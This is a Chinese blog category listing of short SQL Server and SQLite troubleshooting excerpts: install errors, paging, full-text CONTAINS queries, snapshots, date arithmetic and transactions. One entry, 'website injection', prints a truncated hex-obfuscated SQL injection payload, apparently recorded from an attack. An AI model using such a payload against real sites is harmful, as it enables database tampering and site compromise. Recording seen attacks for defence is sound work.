随笔分类 -  sql

1 2 下一页
安装SQL2008 提示 创建usersettings/microsoft.sqlserver.configuration.landingpage.properties.se
摘要:安装SQL2008 提示 创建usersettings/microsoft.sqlserver.configuration.landingpage.properties.se环境WIN7 64位,安装SQL2008之前 已安装好了 VS2010 VS2012和SQL2005造成这个原因是由于先装了VS开发环境造成的,需要删除路径为C:\Users\je\AppData\Local\Microsoft_Corporation\LandingPage.exe_StrongName_ryspccglaxmt4nhllj5z3thycltsvyyx\10.0.0.0\user.configje是我的电 阅读全文
posted @ 2013-05-04 08:44 freexiaoyu 阅读(14968) 评论(0) 推荐(1)
sqlite 中判断插入还是修改 REPLACE
摘要:语法REPLACE INTO tablename (字段) value(值)如果存是就删除在插入,否则插入 阅读全文
posted @ 2012-03-13 23:56 freexiaoyu 阅读(912) 评论(0) 推荐(0)
Timeout 时间已到。在操作完成之前超时时间已过或服务器未响应。
摘要:在网上找了半天有人说是加上cmd.CommandTimeout=500还是不启作用,每次执行完后SQL内存占用量一直上升,找了半天发现我的代码中首先是用DataReader循环读取数据插入到另一个库然后在修改当前数据问题就出这样,上面插入其它库执行正常当代码执行到 修改这条语句的时候就不动最后提示超时,个人分析可能是当前数据已被占用无法修改最后导致修改数据超时的主要原因吧,最后我把DataReader改成foreach问题解决了。 阅读全文
posted @ 2012-01-06 16:41 freexiaoyu 阅读(547) 评论(0) 推荐(0)
SQLite 引用问题
摘要:项目是4.0 在sqlite官网下载最新的版本1.0.77.0和1.0.76.0添加引用 没问题,开发环境win7 32位 .NET4.0 运行一切正常,当程序拿到XP下运行就提示“未能加载system.data.sqlite.dll”不是用效的win32程序集",在windows 2003 下提示:未能加载文件或程序集 "System.Data.SQLite.dll" 或它的某一个依赖项。找不到指定折腾半天又是百度又是谷歌的也问了不少用sqlite的网友都没遇到过这样的问题(他们都是用的1.0.66.0版本)。无奈啊于是我也把我的版本改成1.0.66.0版本添加 阅读全文
posted @ 2011-11-30 11:01 freexiaoyu 阅读(1492) 评论(4) 推荐(1)
sql server 2000 分页语句
摘要:View Code SET STATISTICS io ONSET STATISTICS time ON goselect top 100000 * from (select top 190000 * from job_job order by jobid asc ) as a order by jobid descgoset statistics profile offset statistics io offset statistics time offSET STATISTICS io ONSET STATISTICS time ON goselect top 100000 * f... 阅读全文
posted @ 2011-11-01 11:21 freexiaoyu 阅读(367) 评论(0) 推荐(0)
.NET 跨数据库事务处理二种方式
摘要:View Code public void ExecuteSqlTran(List<String> ListNews, List<String> ListNews1) { string connectionString = ConfigurationManager.ConnectionStrings["News"].ToString(); string connectionString1 = ConfigurationManager.ConnectionStrings["News1"].ToString(); SqlConnect 阅读全文
posted @ 2011-09-09 23:05 freexiaoyu 阅读(1121) 评论(1) 推荐(0)
charindex ,PATINDEX,contains,FREETEXT用法
摘要:View Code SELECT jobTitle FROM job_jobwherecharindex('程序员',jobTitle)>0SELECT jobTitle FROM job_jobwhere jobTitle like'程序员%'select jobTitle from job_jobwherePATINDEX('%程序员%',jobTitle)>0select jobTitle from job_jobwherecontains(jobTitle,'程序员')select jobTitle from 阅读全文
posted @ 2011-07-21 14:00 freexiaoyu 阅读(496) 评论(0) 推荐(0)
sql server 2008 不允许保存更改,您所做的更改要求删除并重新创建以下表
摘要:当你在表中插入一个新列后点击保存 SQL server 2008就会提示 不允许保存更改。您所做的更改要求删除并重新创建以下表。您对无法重新创建的表进行了更改或启用了“阻止保存要求重新创建表的更改”选项解决办法:工具菜单-->选项-->Designers-->表设计器和数据库设计器-->把 阻止保存要求重新创建表的更改 对号去掉 点击确实,然后在保存修改后的表就OK了 阅读全文
posted @ 2011-06-15 11:13 freexiaoyu 阅读(578) 评论(2) 推荐(0)
存储过程变量
摘要:create PROCEDURE job_resume_Level@id int, --编号 ASBEGIN在存储过程中 if exists(select count(1) from a where id=@id)if exists(select count(1) from b where id=@id)如果用count(1)第二个判断的@ID是自动加1不知道为什么,个人想的是当select from 中是没有字段的时候把id当成变量加1了。最后换成了* Cunt(*) 也不行。 阅读全文
posted @ 2011-04-01 11:21 freexiaoyu 阅读(205) 评论(0) 推荐(0)
SQL 查询表中相同记录
摘要:第一种方法select * from job_personal a where (select count(1) from job_personal where username=a.username and email=a.email)>1 order by pid第二种方式select * from job_personal where usernamein(select usernamefrom job_personal group by usernamehaving count(username)>1)order by usernameasc 阅读全文
posted @ 2011-01-08 10:22 freexiaoyu 阅读(431) 评论(0) 推荐(0)
SQL2005创建快照
摘要:create database 快照名称ON(NAME=存放快照名,FILENAME='快乐照地址\***.mdf')(可以有多个...)AS SNAPSHOT OF 要快照的数据库名RESTORE DATABASE 数据库名FROMDATABASE_SNAPSHOT='快照名称' 阅读全文
posted @ 2010-11-19 11:08 freexiaoyu 阅读(304) 评论(0) 推荐(0)
SQL 日期查询
摘要:--前一天,给定日期的前一天SELECT DATEADD(DAY,-1,@Date) AS '前一天'--后一天,给定日期的后一天 SELECT DATEADD(DAY,1,@Date) AS '后一天'--前一月SELECT * FROM apphistory WHERE CONVERT(VARCHAR(10),addtime,23)<= CONVERT(VARCHAR(10),DATEA... 阅读全文
posted @ 2010-11-01 14:40 freexiaoyu 阅读(323) 评论(0) 推荐(0)
tschs.xml 全文索引文件配置说明
摘要:D:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\FTData<XML ID="Microsoft Search Thesaurus"><!-- Commented out <thesaurus xmlns="x-schema:tsSchema.xml"><diacritics_sensitive>0&... 阅读全文
posted @ 2010-09-01 11:11 freexiaoyu 阅读(403) 评论(0) 推荐(0)
SQL2005 全文索引 contains
摘要:原写法where contains (job_job.[jobTitle],'"销售*"') or contains(job_job.jobDesc,'"销售*"')or contains(job_job.jobRequirement,'"销售*"')改为:where contains ((job_job.[jobTitle],job_job.jobDesc,job_job.jobRequirem... 阅读全文
posted @ 2010-08-31 14:04 freexiaoyu 阅读(515) 评论(0) 推荐(0)
SQL 语句执行时间
摘要:SET STATISTICS io ONSET STATISTICS time ON goSELECT [jobTitle] FROM [job_job]where contains([jobTitle],'工')goset statistics profile offset statistics io offset statistics time off 阅读全文
posted @ 2010-08-28 10:30 freexiaoyu 阅读(379) 评论(2) 推荐(0)
SQL 全文索引 CONTAINS
摘要:Description 列中有任意单词以“serve”开头的文档WHERE CONTAINS(Description, 'serve*')Description 列中有任意短语以“comp”开头且下一个单词以“serve”开头的文档。一个文档必须匹配所有术语才能将其视为匹配项。WHERE CONTAINS(Descriptio... 阅读全文
posted @ 2010-08-28 10:29 freexiaoyu 阅读(1228) 评论(0) 推荐(0)
网站注入
摘要:注入代码;dECLaRe%20@s%20vArchAR(4000);SEt%20@S=Cast(0X4445634C615245204074205661526368615228323535292C404320564152434861722832353529206445436C617245207441424C655F437552734F5220635552536F7220466F722073654C... 阅读全文
posted @ 2010-08-27 10:46 freexiaoyu 阅读(389) 评论(0) 推荐(0)
安装SQL SERVER 2005出现“无法在 COM+ 目录中安装和配置程序集”
摘要:安装SQL SERVER 2005出现“无法在 COM+ 目录中安装和配置程序集”错误处理2008-07-23 20:44 安装到Notification Services组件的时候出现以下错误提示:无法在 COM+ 目录中安装和配置程序集 D:\Program Files\Microsoft SQL Server\90\NotificationServices\9.0.... 阅读全文
posted @ 2010-06-01 10:13 freexiaoyu 阅读(746) 评论(0) 推荐(0)
System.Data.SqlClient.SqlError: 媒体集有 2 个媒体簇,但只提供了 1 个。必须提供所有成员
摘要:System.Data.SqlClient.SqlError: 媒体集有 2 个媒体簇,但只提供了 1 个。必须提供所有成员。 (Microsoft.SqlServer.Smo) 这是由于你备份时,没有去掉默认的C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Backup\backup.bak,而又添加了一个新路径,结果是备份成了两份,但它们... 阅读全文
posted @ 2010-04-17 23:10 freexiaoyu 阅读(1706) 评论(0) 推荐(0)
SQL执行效率问题
摘要:44万数据测试 两个存储过程内容如下: 1、 select note from table where cityID='1' 2、 WITH temp AS ( SELECT * FROM city WHERE cityid=1 UNION ALL SELECT city .* FROM city INNER JOIN temp ON city .professionParent=temp.cit... 阅读全文
posted @ 2009-12-23 11:25 freexiaoyu 阅读(204) 评论(0) 推荐(0)

1 2 下一页